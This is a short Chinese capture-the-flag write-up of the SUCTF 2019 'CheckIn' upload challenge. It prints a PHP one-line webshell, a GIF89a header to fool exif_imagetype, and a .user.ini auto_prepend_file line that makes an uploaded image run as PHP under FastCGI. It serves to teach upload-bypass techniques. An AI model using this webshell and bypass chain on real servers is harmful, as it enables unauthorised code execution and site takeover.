[SUCTF 2019]CheckIn
大佬的wp
首先上传包含一句话的php文件,提示illegal suffix!,试了一下.php3,.php5,.phtml等都不行
把文件后缀名改成.jpg试一下,检测到了内容 <?
那就用其他姿势
<script language=‘php‘>assert($_REQUEST[‘cmd‘])</script>
检测到文件不是图像,很明显是用exif_imagetype()函数,函数功能是读取一个图像的第一个字节并检查其签名。 在一句话前面加个GIF89a进行绕过
那么现在的一句话如下,可以制作成图片马,但是需要解析成php
GIF89a <script language=‘php‘>assert($_REQUEST[‘cmd‘])</script
正常想到的是.htaccess,但是这个服务器是nginx,而.htaccess是针对apache的
那么这里利用是 .user.ini ,而且.user,ini利用的范围比.htaccess更广,具体参考这里
不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法
php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:
PHP_INI_SYSTEM
、PHP_INI_PERDIR
、PHP_INI_ALL
、PHP_INI_USER
.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置
同时在php配置项中有两个比较有意思的项
auto_prepend_file和auto_append_file
相当于指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数
auto_prepend_file是在文件前插入,而auto_append_file是在文件最后才插入
那么思路就有了
上传图片马,然后利用.user.ini解析图片马生成webshell
生成图片马
然后需要利用.user.ini解析图片马
GIF89a auto_prepend_file=shell.jpg
上传.user.ini和图片马
然后根据上传的路径,找到上传的Webshell,获取flag